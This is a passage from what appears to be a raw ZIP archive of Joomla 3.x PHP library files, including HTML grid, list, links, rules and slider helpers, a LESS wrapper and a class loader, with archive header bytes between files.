(*) * @param boolean $translate True to translate All * * @return string * * @see JFormFieldContentLanguage * @since 1.6 */ public static function existing($all = false, $translate = false) { if (empty(static::$items)) { // Get the database object and a new query object. $db = JFactory::getDbo(); $query = $db->getQuery(true); // Build the query. $query->select('a.lang_code AS value, a.title AS text, a.title_native') ->from('#__languages AS a') ->where('a.published >= 0') ->order('a.title'); // Set the query and load the options. $db->setQuery($query); static::$items = $db->loadObjectList(); } if ($all) { $all_option = array(new JObject(array('value' => '*', 'text' => $translate ? JText::alt('JALL', 'language') : 'JALL_LANGUAGE'))); return array_merge($all_option, static::$items); } else { return static::$items; } } } PK���\6I$�4)4)cms/html/grid.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Utility class for creating HTML Grids * * @since 1.5 */ abstract class JHtmlGrid { /** * Display a boolean setting widget. * * @param integer $i The row index. * @param integer $value The value of the boolean field. * @param string $taskOn Task to turn the boolean setting on. * @param string $taskOff Task to turn the boolean setting off. * * @return string The boolean setting widget. * * @since 1.6 * * @deprecated 4.0 This is only used in hathor and will be removed without replacement */ public static function boolean($i, $value, $taskOn = null, $taskOff = null) { // Load the behavior. static::behavior(); JHtml::_('bootstrap.tooltip'); // Build the title. $title = $value ? JText::_('JYES') : JText::_('JNO'); $title = JHtml::_('tooltipText', $title, JText::_('JGLOBAL_CLICK_TO_TOGGLE_STATE'), 0); // Build the <a> tag. $bool = $value ? 'true' : 'false'; $task = $value ? $taskOff : $taskOn; $toggle = (!$task) ? false : true; if ($toggle) { return '<a class="grid_' . $bool . ' hasTooltip" title="' . $title . '" rel="{id:\'cb' . $i . '\', task:\'' . $task . '\'}" href="#toggle"></a>'; } else { return '<a class="grid_' . $bool . '"></a>'; } } /** * Method to sort a column in a grid * * @param string $title The link title * @param string $order The order field for the column * @param string $direction The current direction * @param string $selected The selected ordering * @param string $task An optional task override * @param string $newDirection An optional direction for the new column * @param string $tip An optional text shown as tooltip title instead of $title * @param string $form An optional form selector * * @return string * * @since 1.5 */ public static function sort($title, $order, $direction = 'asc', $selected = '', $task = null, $newDirection = 'asc', $tip = '', $form = null) { JHtml::_('behavior.core'); JHtml::_('bootstrap.popover'); $direction = strtolower($direction); $icon = array('arrow-up-3', 'arrow-down-3'); $index = (int) ($direction === 'desc'); if ($order != $selected) { $direction = $newDirection; } else { $direction = $direction === 'desc' ? 'asc' : 'desc'; } if ($form) { $form = ', document.getElementById(\'' . $form . '\')'; } $html = '<a href="#" onclick="Joomla.tableOrdering(\'' . $order . '\',\'' . $direction . '\',\'' . $task . '\'' . $form . ');return false;"' . ' class="hasPopover" title="' . htmlspecialchars(JText::_($tip ?: $title)) . '"' . ' data-content="' . htmlspecialchars(JText::_('JGLOBAL_CLICK_TO_SORT_THIS_COLUMN')) . '" data-placement="top">'; if (isset($title['0']) && $title['0'] === '<') { $html .= $title; } else { $html .= JText::_($title); } if ($order == $selected) { $html .= '<span class="icon-' . $icon[$index] . '"></span>'; } $html .= '</a>'; return $html; } /** * Method to check all checkboxes in a grid * * @param string $name The name of the form element * @param string $tip The text shown as tooltip title instead of $tip * @param string $action The action to perform on clicking the checkbox * * @return string * * @since 3.1.2 */ public static function checkall($name = 'checkall-toggle', $tip = 'JGLOBAL_CHECK_ALL', $action = 'Joomla.checkAll(this)') { JHtml::_('behavior.core'); JHtml::_('bootstrap.tooltip'); return '<input type="checkbox" name="' . $name . '" value="" class="hasTooltip" title="' . JHtml::_('tooltipText', $tip) . '" onclick="' . $action . '" />'; } /** * Method to create a checkbox for a grid row. * * @param integer $rowNum The row index * @param integer $recId The record id * @param boolean $checkedOut True if item is checked out * @param string $name The name of the form element * @param string $stub The name of stub identifier * * @return mixed String of html with a checkbox if item is not checked out, null if checked out. * * @since 1.5 */ public static function id($rowNum, $recId, $checkedOut = false, $name = 'cid', $stub = 'cb') { return $checkedOut ? '' : '<input type="checkbox" id="' . $stub . $rowNum . '" name="' . $name . '[]" value="' . $recId . '" onclick="Joomla.isChecked(this.checked);" />'; } /** * Displays a checked out icon. * * @param object &$row A data object (must contain checkedout as a property). * @param integer $i The index of the row. * @param string $identifier The property name of the primary key or index of the row. * * @return string * * @since 1.5 */ public static function checkedOut(&$row, $i, $identifier = 'id') { $user = JFactory::getUser(); $userid = $user->get('id'); if ($row instanceof JTable) { $result = $row->isCheckedOut($userid); } else { $result = false; } if ($result) { return static::_checkedOut($row); } else { if ($identifier === 'id') { return JHtml::_('grid.id', $i, $row->$identifier); } else { return JHtml::_('grid.id', $i, $row->$identifier, $result, $identifier); } } } /** * Method to create a clickable icon to change the state of an item * * @param mixed $value Either the scalar value or an object (for backward compatibility, deprecated) * @param integer $i The index * @param string $img1 Image for a positive or on value * @param string $img0 Image for the empty or off value * @param string $prefix An optional prefix for the task * * @return string * * @since 1.5 */ public static function published($value, $i, $img1 = 'tick.png', $img0 = 'publish_x.png', $prefix = '') { if (is_object($value)) { $value = $value->published; } $img = $value ? $img1 : $img0; $task = $value ? 'unpublish' : 'publish'; $alt = $value ? JText::_('JPUBLISHED') : JText::_('JUNPUBLISHED'); $action = $value ? JText::_('JLIB_HTML_UNPUBLISH_ITEM') : JText::_('JLIB_HTML_PUBLISH_ITEM'); return '<a href="#" onclick="return listItemTask(\'cb' . $i . '\',\'' . $prefix . $task . '\')" title="' . $action . '">' . JHtml::_('image', 'admin/' . $img, $alt, null, true) . '</a>'; } /** * Method to create a select list of states for filtering * By default the filter shows only published and unpublished items * * @param string $filterState The initial filter state * @param string $published The JText string for published * @param string $unpublished The JText string for Unpublished * @param string $archived The JText string for Archived * @param string $trashed The JText string for Trashed * * @return string * * @since 1.5 */ public static function state($filterState = '*', $published = 'JPUBLISHED', $unpublished = 'JUNPUBLISHED', $archived = null, $trashed = null) { $state = array('' => '- ' . JText::_('JLIB_HTML_SELECT_STATE') . ' -', 'P' => JText::_($published), 'U' => JText::_($unpublished)); if ($archived) { $state['A'] = JText::_($archived); } if ($trashed) { $state['T'] = JText::_($trashed); } return JHtml::_( 'select.genericlist', $state, 'filter_state', array( 'list.attr' => 'class="inputbox" size="1" onchange="Joomla.submitform();"', 'list.select' => $filterState, 'option.key' => null, ) ); } /** * Method to create an icon for saving a new ordering in a grid * * @param array $rows The array of rows of rows * @param string $image The image [UNUSED] * @param string $task The task to use, defaults to save order * * @return string * * @since 1.5 */ public static function order($rows, $image = 'filesave.png', $task = 'saveorder') { return '<a href="javascript:saveorder(' . (count($rows) - 1) . ', \'' . $task . '\')" rel="tooltip" class="saveorder btn btn-micro pull-right" title="' . JText::_('JLIB_HTML_SAVE_ORDER') . '"><span class="icon-menu-2"></span></a>'; } /** * Method to create a checked out icon with optional overlib in a grid. * * @param object &$row The row object * @param boolean $overlib True if an overlib with checkout information should be created. * * @return string HTMl for the icon and overlib * * @since 1.5 */ protected static function _checkedOut(&$row, $overlib = true) { $hover = ''; if ($overlib) { JHtml::_('bootstrap.tooltip'); $date = JHtml::_('date', $row->checked_out_time, JText::_('DATE_FORMAT_LC1')); $time = JHtml::_('date', $row->checked_out_time, 'H:i'); $hover = '<span class="editlinktip hasTooltip" title="' . JHtml::_('tooltipText', 'JLIB_HTML_CHECKED_OUT', $row->editor) . '<br />' . $date . '<br />' . $time . '">'; } return $hover . JHtml::_('image', 'admin/checked_out.png', null, null, true) . '</span>'; } /** * Method to build the behavior script and add it to the document head. * * @return void * * @since 1.6 * * @deprecated 4.0 This is only used in hathor and will be removed without replacement */ public static function behavior() { static $loaded; if (!$loaded) { // Include jQuery JHtml::_('jquery.framework'); // Build the behavior script. $js = ' jQuery(function($){ $actions = $(\'a.move_up, a.move_down, a.grid_true, a.grid_false, a.grid_trash\'); $actions.each(function(){ $(this).on(\'click\', function(){ args = JSON.decode(this.rel); listItemTask(args.id, args.task); }); }); $(\'input.check-all-toggle\').each(function(){ $(this).on(\'click\', function(){ if (this.checked) { $(this).closest(\'form\').find(\'input[type="checkbox"]\').each(function(){ this.checked = true; }) } else { $(this).closest(\'form\').find(\'input[type="checkbox"]\').each(function(){ this.checked = false; }) } }); }); });'; // Add the behavior to the document head. $document = JFactory::getDocument(); $document->addScriptDeclaration($js); $loaded = true; } } } PK���\3>Z�� � cms/html/links.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Utility class for icons. * * @since 3.2 */ abstract class JHtmlLinks { /** * Method to generate html code for groups of lists of links * * @param array $groupsOfLinks Array of links * * @return string * * @since 3.2 */ public static function linksgroups($groupsOfLinks) { $html = array(); if (count($groupsOfLinks) > 0) { $layout = new JLayoutFile('joomla.links.groupsopen'); $html[] = $layout->render(''); foreach ($groupsOfLinks as $title => $links) { if (isset($links[0]['separategroup'])) { $layout = new JLayoutFile('joomla.links.groupseparator'); $html[] = $layout->render($title); } $layout = new JLayoutFile('joomla.links.groupopen'); $htmlHeader = $layout->render($title); $htmlLinks = JHtml::_('links.links', $links); if ($htmlLinks != '') { $html[] = $htmlHeader; $html[] = $htmlLinks; $layout = new JLayoutFile('joomla.links.groupclose'); $html[] = $layout->render(''); } } $layout = new JLayoutFile('joomla.links.groupsclose'); $html[] = $layout->render(''); } return implode($html); } /** * Method to generate html code for a list of links * * @param array $links Array of links * * @return string * * @since 3.2 */ public static function links($links) { $html = array(); foreach ($links as $link) { $html[] = JHtml::_('links.link', $link); } return implode($html); } /** * Method to generate html code for a single link * * @param array $link link properties * * @return string * * @since 3.2 */ public static function link($link) { if (isset($link['access'])) { if (is_bool($link['access'])) { if ($link['access'] == false) { return ''; } } else { // Get the user object to verify permissions $user = JFactory::getUser(); // Take each pair of permission, context values. for ($i = 0, $n = count($link['access']); $i < $n; $i += 2) { if (!$user->authorise($link['access'][$i], $link['access'][$i + 1])) { return ''; } } } } // Instantiate a new JLayoutFile instance and render the layout $layout = new JLayoutFile('joomla.links.link'); return $layout->render($link); } } PK���\k��ʹ�cms/html/list.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; use Joomla\String\StringHelper; /** * Utility class for creating different select lists * * @since 1.5 */ abstract class JHtmlList { /** * Build the select list to choose an image * * @param string $name The name of the field * @param string $active The selected item * @param string $javascript Alternative javascript * @param string $directory Directory the images are stored in * @param string $extensions Allowed extensions * * @return array Image names * * @since 1.5 */ public static function images($name, $active = null, $javascript = null, $directory = null, $extensions = 'bmp|gif|jpg|png') { if (!$directory) { $directory = '/images/'; } if (!$javascript) { $javascript = "onchange=\"if (document.forms.adminForm." . $name . ".options[selectedIndex].value!='') {document.imagelib.src='..$directory' + document.forms.adminForm." . $name . ".options[selectedIndex].value} else {document.imagelib.src='media/system/images/blank.png'}\""; } $imageFiles = new DirectoryIterator(JPATH_SITE . '/' . $directory); $images = array(JHtml::_('select.option', '', JText::_('JOPTION_SELECT_IMAGE'))); foreach ($imageFiles as $file) { $fileName = $file->getFilename(); if (!$file->isFile()) { continue; } if (preg_match('#(' . $extensions . ')$#', $fileName)) { $images[] = JHtml::_('select.option', $fileName); } } $images = JHtml::_( 'select.genericlist', $images, $name, array( 'list.attr' => 'class="inputbox" size="1" ' . $javascript, 'list.select' => $active, ) ); return $images; } /** * Returns an array of options * * @param string $query SQL with 'ordering' AS value and 'name field' AS text * @param integer $chop The length of the truncated headline * * @return array An array of objects formatted for JHtml list processing * * @since 1.5 */ public static function genericordering($query, $chop = 30) { $db = JFactory::getDbo(); $options = array(); $db->setQuery($query); $items = $db->loadObjectList(); if (empty($items)) { $options[] = JHtml::_('select.option', 1, JText::_('JOPTION_ORDER_FIRST')); return $options; } $options[] = JHtml::_('select.option', 0, '0 ' . JText::_('JOPTION_ORDER_FIRST')); for ($i = 0, $n = count($items); $i < $n; $i++) { $items[$i]->text = JText::_($items[$i]->text); if (StringHelper::strlen($items[$i]->text) > $chop) { $text = StringHelper::substr($items[$i]->text, 0, $chop) . '...'; } else { $text = $items[$i]->text; } $options[] = JHtml::_('select.option', $items[$i]->value, $items[$i]->value . '. ' . $text); } $options[] = JHtml::_('select.option', $items[$i - 1]->value + 1, ($items[$i - 1]->value + 1) . ' ' . JText::_('JOPTION_ORDER_LAST')); return $options; } /** * Build the select list for Ordering derived from a query * * @param integer $name The scalar value * @param string $query The query * @param string $attribs HTML tag attributes * @param string $selected The selected item * @param integer $neworder 1 if new and first, -1 if new and last, 0 or null if existing item * * @return string HTML markup for the select list * * @since 1.6 */ public static function ordering($name, $query, $attribs = null, $selected = null, $neworder = null) { if (empty($attribs)) { $attribs = 'class="inputbox" size="1"'; } if (empty($neworder)) { $orders = JHtml::_('list.genericordering', $query); $html = JHtml::_('select.genericlist', $orders, $name, array('list.attr' => $attribs, 'list.select' => (int) $selected)); } else { if ($neworder > 0) { $text = JText::_('JGLOBAL_NEWITEMSLAST_DESC'); } elseif ($neworder <= 0) { $text = JText::_('JGLOBAL_NEWITEMSFIRST_DESC'); } $html = '<input type="hidden" name="' . $name . '" value="' . (int) $selected . '" /><span class="readonly">' . $text . '</span>'; } return $html; } /** * Select list of active users * * @param string $name The name of the field * @param string $active The active user * @param integer $nouser If set include an option to select no user * @param string $javascript Custom javascript * @param string $order Specify a field to order by * * @return string The HTML for a list of users list of users * * @since 1.5 */ public static function users($name, $active, $nouser = 0, $javascript = null, $order = 'name') { $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('u.id AS value, u.name AS text') ->from('#__users AS u') ->join('LEFT', '#__user_usergroup_map AS m ON m.user_id = u.id') ->where('u.block = 0') ->order($order) ->group('u.id'); $db->setQuery($query); if ($nouser) { $users[] = JHtml::_('select.option', '0', JText::_('JOPTION_NO_USER')); $users = array_merge($users, $db->loadObjectList()); } else { $users = $db->loadObjectList(); } $users = JHtml::_( 'select.genericlist', $users, $name, array( 'list.attr' => 'class="inputbox" size="1" ' . $javascript, 'list.select' => $active, ) ); return $users; } /** * Select list of positions - generally used for location of images * * @param string $name Name of the field * @param string $active The active value * @param string $javascript Alternative javascript * @param boolean $none Null if not assigned * @param boolean $center Null if not assigned * @param boolean $left Null if not assigned * @param boolean $right Null if not assigned * @param boolean $id Null if not assigned * * @return array The positions * * @since 1.5 */ public static function positions($name, $active = null, $javascript = null, $none = true, $center = true, $left = true, $right = true, $id = false) { $pos = array(); if ($none) { $pos[''] = JText::_('JNONE'); } if ($center) { $pos['center'] = JText::_('JGLOBAL_CENTER'); } if ($left) { $pos['left'] = JText::_('JGLOBAL_LEFT'); } if ($right) { $pos['right'] = JText::_('JGLOBAL_RIGHT'); } $positions = JHtml::_( 'select.genericlist', $pos, $name, array( 'id' => $id, 'list.attr' => 'class="inputbox" size="1"' . $javascript, 'list.select' => $active, 'option.key' => null, ) ); return $positions; } } PK���\7��Y��cms/html/content.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Utility class to fire onContentPrepare for non-article based content. * * @since 1.5 */ abstract class JHtmlContent { /** * Fire onContentPrepare for content that isn't part of an article. * * @param string $text The content to be transformed. * @param array $params The content params. * @param string $context The context of the content to be transformed. * * @return string The content after transformation. * * @since 1.5 */ public static function prepare($text, $params = null, $context = 'text') { if ($params === null) { $params = new JObject; } $article = new stdClass; $article->text = $text; JPluginHelper::importPlugin('content'); $dispatcher = JEventDispatcher::getInstance(); $dispatcher->trigger('onContentPrepare', array($context, &$article, &$params, 0)); return $article->text; } /** * Returns an array of months. * * @param Registry $state The state object. * * @return array * * @since 3.9.0 */ public static function months($state) { $model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' => true)); foreach ($state as $key => $value) { $model->setState($key, $value); } $model->setState('filter.category_id', $state->get('category.id')); $model->setState('list.start', 0); $model->setState('list.limit', -1); $model->setState('list.direction', 'asc'); $model->setState('list.filter', ''); $items = array(); foreach ($model->countItemsByMonth() as $item) { $date = new JDate($item->d); $items[] = JHtml::_('select.option', $item->d, $date->format('F Y') . ' [' . $item->c . ']'); } return $items; } } PK���\���4 4 cms/html/rules.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; JLog::add('JHtmlRules is deprecated.', JLog::WARNING, 'deprecated'); /** * Extended Utility class for all HTML drawing classes. * * @since 1.6 * @deprecated 4.0 */ abstract class JHtmlRules { /** * Creates the HTML for the permissions widget * * @param array $actions Array of action objects * @param integer $assetId Id of a specific asset to create a widget for. * @param integer $parent Id of the parent of the asset * @param string $control The form control * @param string $idPrefix Prefix for the ids assigned to specific action-group pairs * * @return string HTML for the permissions widget * * @see JAccess * @see JFormFieldRules * @since 1.6 * @deprecated 4.0 */ public static function assetFormWidget($actions, $assetId = null, $parent = null, $control = 'jform[rules]', $idPrefix = 'jform_rules') { $images = static::_getImagesArray(); // Get the user groups. $groups = static::_getUserGroups(); // Get the incoming inherited rules as well as the asset specific rules. $inheriting = JAccess::getAssetRules($parent ?: static::_getParentAssetId($assetId), true); $inherited = JAccess::getAssetRules($assetId, true); $rules = JAccess::getAssetRules($assetId); $html = array(); $html[] = '<div class="acl-options">'; $html[] = JHtml::_('tabs.start', 'acl-rules-' . $assetId, array('useCookie' => 1)); $html[] = JHtml::_('tabs.panel', JText::_('JLIB_HTML_ACCESS_SUMMARY'), 'summary'); $html[] = ' <p>' . JText::_('JLIB_HTML_ACCESS_SUMMARY_DESC') . '</p>'; $html[] = ' <table class="aclsummary-table" summary="' . JText::_('JLIB_HTML_ACCESS_SUMMARY_DESC') . '">'; $html[] = ' <caption>' . JText::_('JLIB_HTML_ACCESS_SUMMARY_DESC_CAPTION') . '</caption>'; $html[] = ' <tr>'; $html[] = ' <th class="col1 hidelabeltxt">' . JText::_('JLIB_RULES_GROUPS') . '</th>'; foreach ($actions as $i => $action) { $html[] = ' <th class="col' . ($i + 2) . '">' . JText::_($action->title) . '</th>'; } $html[] = ' </tr>'; foreach ($groups as $i => $group) { $html[] = ' <tr class="row' . ($i % 2) . '">'; $html[] = ' <td class="col1">' . $group->text . '</td>'; foreach ($actions as $j => $action) { $html[] = ' <td class="col' . ($j + 2) . '">' . ($assetId ? ($inherited->allow($action->name, $group->identities) ? $images['allow'] : $images['deny']) : ($inheriting->allow($action->name, $group->identities) ? $images['allow'] : $images['deny'])) . '</td>'; } $html[] = ' </tr>'; } $html[] = ' </table>'; foreach ($actions as $action) { $actionTitle = JText::_($action->title); $actionDesc = JText::_($action->description); $html[] = JHtml::_('tabs.panel', $actionTitle, $action->name); $html[] = ' <p>' . $actionDesc . '</p>'; $html[] = ' <table class="aclmodify-table" summary="' . strip_tags($actionDesc) . '">'; $html[] = ' <caption>' . JText::_('JLIB_HTML_ACCESS_MODIFY_DESC_CAPTION_ACL') . ' ' . $actionTitle . ' ' . JText::_('JLIB_HTML_ACCESS_MODIFY_DESC_CAPTION_TABLE') . '</caption>'; $html[] = ' <tr>'; $html[] = ' <th class="col1 hidelabeltxt">' . JText::_('JLIB_RULES_GROUP') . '</th>'; $html[] = ' <th class="col2">' . JText::_('JLIB_RULES_INHERIT') . '</th>'; $html[] = ' <th class="col3 hidelabeltxt">' . JText::_('JMODIFY') . '</th>'; $html[] = ' <th class="col4">' . JText::_('JCURRENT') . '</th>'; $html[] = ' </tr>'; foreach ($groups as $i => $group) { $selected = $rules->allow($action->name, $group->value); $html[] = ' <tr class="row' . ($i % 2) . '">'; $html[] = ' <td class="col1">' . $group->text . '</td>'; $html[] = ' <td class="col2">' . ($inheriting->allow($action->name, $group->identities) ? $images['allow-i'] : $images['deny-i']) . '</td>'; $html[] = ' <td class="col3">'; $html[] = ' <select id="' . $idPrefix . '_' . $action->name . '_' . $group->value . '" class="inputbox" size="1" name="' . $control . '[' . $action->name . '][' . $group->value . ']" title="' . JText::sprintf('JLIB_RULES_SELECT_ALLOW_DENY_GROUP', $actionTitle, $group->text) . '">'; $html[] = ' <option value=""' . ($selected === null ? ' selected="selected"' : '') . '>' . JText::_('JLIB_RULES_INHERIT') . '</option>'; $html[] = ' <option value="1"' . ($selected === true ? ' selected="selected"' : '') . '>' . JText::_('JLIB_RULES_ALLOWED') . '</option>'; $html[] = ' <option value="0"' . ($selected === false ? ' selected="selected"' : '') . '>' . JText::_('JLIB_RULES_DENIED') . '</option>'; $html[] = ' </select>'; $html[] = ' </td>'; $html[] = ' <td class="col4">' . ($assetId ? ($inherited->allow($action->name, $group->identities) ? $images['allow'] : $images['deny']) : ($inheriting->allow($action->name, $group->identities) ? $images['allow'] : $images['deny'])) . '</td>'; $html[] = ' </tr>'; } $html[] = ' </table>'; } $html[] = JHtml::_('tabs.end'); // Build the footer with legend and special purpose buttons. $html[] = ' <div class="clr"></div>'; $html[] = ' <ul class="acllegend fltlft">'; $html[] = ' <li class="acl-allowed">' . JText::_('JLIB_RULES_ALLOWED') . '</li>'; $html[] = ' <li class="acl-denied">' . JText::_('JLIB_RULES_DENIED') . '</li>'; $html[] = ' </ul>'; $html[] = '</div>'; return implode("\n", $html); } /** * Get the id of the parent asset * * @param integer $assetId The asset for which the parentid will be returned * * @return integer The id of the parent asset * * @since 1.6 * @deprecated 4.0 */ protected static function _getParentAssetId($assetId) { // Get a database object. $db = JFactory::getDbo(); $query = $db->getQuery(true); // Get the user groups from the database. $query->select($db->quoteName('parent_id')) ->from($db->quoteName('#__assets')) ->where($db->quoteName('id') . ' = ' . (int) $assetId); $db->setQuery($query); return (int) $db->loadResult(); } /** * Get the user groups * * @return array Array of user groups * * @since 1.6 * @deprecated 4.0 */ protected static function _getUserGroups() { // Get a database object. $db = JFactory::getDbo(); // Get the user groups from the database. $db->setQuery( 'SELECT a.id AS value, a.title AS text, b.id as parent' . ' FROM #__usergroups AS a LEFT JOIN #__usergroups AS b ON a.lft >= b.lft AND a.rgt <= b.rgt' . ' ORDER BY a.lft ASC, b.lft ASC' ); $result = $db->loadObjectList(); $options = array(); // Pre-compute additional values. foreach ($result as $option) { $end = end($options); if ($end === false || $end->value != $option->value) { $end = $option; $end->level = 0; $options[] = $end; } else { $end->level++; } $end->identities[] = $option->parent; } return $options; } /** * Get the array of images associate with specific permissions * * @return array An associative array of permissions and images * * @since 1.6 * @deprecated 4.0 */ protected static function _getImagesArray() { $images['allow-l'] = '<label class="icon-16-allow" title="' . JText::_('JLIB_RULES_ALLOWED') . '">' . JText::_('JLIB_RULES_ALLOWED') . '</label>'; $images['deny-l'] = '<label class="icon-16-deny" title="' . JText::_('JLIB_RULES_DENIED') . '">' . JText::_('JLIB_RULES_DENIED') . '</label>'; $images['allow'] = '<a class="icon-16-allow" title="' . JText::_('JLIB_RULES_ALLOWED') . '"> </a>'; $images['deny'] = '<a class="icon-16-deny" title="' . JText::_('JLIB_RULES_DENIED') . '"> </a>'; $images['allow-i'] = '<a class="icon-16-allowinactive" title="' . JText::_('JRULE_ALLOWED_INHERITED') . '"> </a>'; $images['deny-i'] = '<a class="icon-16-denyinactive" title="' . JText::_('JRULE_DENIED_INHERITED') . '"> </a>'; return $images; } } PK���\�M���cms/html/sliders.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Utility class for Sliders elements * * @since 1.6 * @deprecated 3.7.0 These helpers are dependent on the deprecated MooTools support */ abstract class JHtmlSliders { /** * Creates a panes and loads the javascript behavior for it. * * @param string $group The pane identifier. * @param array $params An array of options. * * @return string * * @since 1.6 * @deprecated 3.7.0 These helpers are dependent on the deprecated MooTools support */ public static function start($group = 'sliders', $params = array()) { static::loadBehavior($group, $params); return '<div id="' . $group . '" class="pane-sliders"><div style="display:none;"><div>'; } /** * Close the current pane. * * @return string hTML to close the pane * * @since 1.6 * @deprecated 3.7.0 These helpers are dependent on the deprecated MooTools support */ public static function end() { return '</div></div></div>'; } /** * Begins the display of a new panel. * * @param string $text Text to display. * @param string $id Identifier of the panel. * * @return string HTML to start a panel * * @since 1.6 * @deprecated 3.7.0 These helpers are dependent on the deprecated MooTools support */ public static function panel($text, $id) { return '</div></div><div class="panel"><h3 class="pane-toggler title" id="' . $id . '"><a href="javascript:void(0);"><span>' . $text . '</span></a></h3><div class="pane-slider content">'; } /** * Load the JavaScript behavior. * * @param string $group The pane identifier. * @param array $params Array of options. * * @return void * * @since 1.6 * @deprecated 3.7.0 These helpers are dependent on the deprecated MooTools support */ protected static function loadBehavior($group, $params = array()) { static $loaded = array(); if (!array_key_exists($group, $loaded)) { // Get the JInput object $input = JFactory::getApplication()->input; $loaded[$group] = true; // Include mootools framework. JHtml::_('behavior.framework', true); $document = JFactory::getDocument(); $display = (isset($params['startOffset']) && isset($params['startTransition']) && $params['startTransition']) ? (int) $params['startOffset'] : null; $show = (isset($params['startOffset']) && !(isset($params['startTransition']) && $params['startTransition'])) ? (int) $params['startOffset'] : null; $opt['onActive'] = "\\function(toggler, i) {toggler.addClass('pane-toggler-down');" . "toggler.removeClass('pane-toggler');i.addClass('pane-down');i.removeClass('pane-hide');Cookie.write('jpanesliders_" . $group . "',$$('div#" . $group . ".pane-sliders > .panel > h3').indexOf(toggler));}"; $opt['onBackground'] = "\\function(toggler, i) {toggler.addClass('pane-toggler');" . "toggler.removeClass('pane-toggler-down');i.addClass('pane-hide');i.removeClass('pane-down');if($$('div#" . $group . ".pane-sliders > .panel > h3').length==$$('div#" . $group . ".pane-sliders > .panel > h3.pane-toggler').length) Cookie.write('jpanesliders_" . $group . "',-1);}"; $opt['duration'] = isset($params['duration']) ? (int) $params['duration'] : 300; $opt['display'] = (isset($params['useCookie']) && $params['useCookie']) ? $input->cookie->get('jpanesliders_' . $group, $display, 'integer') : $display; $opt['show'] = (isset($params['useCookie']) && $params['useCookie']) ? $input->cookie->get('jpanesliders_' . $group, $show, 'integer') : $show; $opt['opacity'] = (isset($params['opacityTransition']) && $params['opacityTransition']) ? 'true' : 'false'; $opt['alwaysHide'] = (isset($params['allowAllClose']) && (!$params['allowAllClose'])) ? 'false' : 'true'; $options = JHtml::getJSObject($opt); $js = "window.addEvent('domready', function(){ new Fx.Accordion($$('div#" . $group . ".pane-sliders > .panel > h3.pane-toggler'), $$('div#" . $group . ".pane-sliders > .panel > div.pane-slider'), " . $options . "); });"; $document->addScriptDeclaration($js); } } } PK���\e�:A��cms/less/less.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage LESS * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Wrapper class for lessc * * @package Joomla.Libraries * @subpackage Less * @since 3.4 * @deprecated 4.0 without replacement */ class JLess extends lessc { /** * Constructor * * @param string $fname Filename to process * @param \JLessFormatterJoomla $formatter Formatter object * * @since 3.4 */ public function __construct($fname = null, $formatter = null) { parent::__construct($fname); if ($formatter === null) { $formatter = new JLessFormatterJoomla; } $this->setFormatter($formatter); } /** * Override compile to reset $this->allParsedFiles array to allow * parsing multiple files/strings using same imports. * PR: https://github.com/leafo/lessphp/pull/607 * * For documentation on this please see /vendor/leafo/lessc.inc.php * * @param string $string LESS string to parse. * @param string $name The sourceName used for error messages. * * @return string $out The compiled css output. */ public function compile($string, $name = null) { $this->allParsedFiles = array(); return parent::compile($string, $name); } } PK���\q�%��cms/less/formatter/joomla.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage Less * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Formatter ruleset for Joomla formatted CSS generated via LESS * * @package Joomla.Libraries * @subpackage Less * @since 3.4 * @deprecated 4.0 without replacement */ class JLessFormatterJoomla extends lessc_formatter_classic { public $disableSingle = true; public $breakSelectors = true; public $assignSeparator = ': '; public $selectorSeparator = ','; public $indentChar = "\t"; } PK���\����cms/class/loader.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage Class * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Composer\Autoload\ClassLoader; /** * Decorate Composer ClassLoader for Joomla! * * For backward compatibility due to class aliasing in the CMS, the loadClass() method was modified to call * the JLoader::applyAliasFor() method. * * @since 3.4 */ class JClassLoader { /** * The composer class loader * * @var ClassLoader * @since 3.4 */ private $loader; /** * Constructor * * @param ClassLoader $loader Composer autoloader * * @since 3.4 */ public function __construct(ClassLoader $loader) { $this->loader = $loader; } /** * Loads the given class or interface. * * @param string $class The name of the class * * @return boolean|null True if loaded, null otherwise * * @since 3.4 */ public function loadClass($class) { if ($result = $this->loader->loadClass($class)) { JLoader::applyAliasFor($class); } return $result; } } PK���\KQ3QQ-fof30/Toolbar/Exception/UnknownButtonType.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Toolbar\Exception; defined('_JEXEC') || die; use Exception; use InvalidArgumentException; use Joomla\CMS\Language\Text; class UnknownButtonType extends InvalidArgumentException { public function 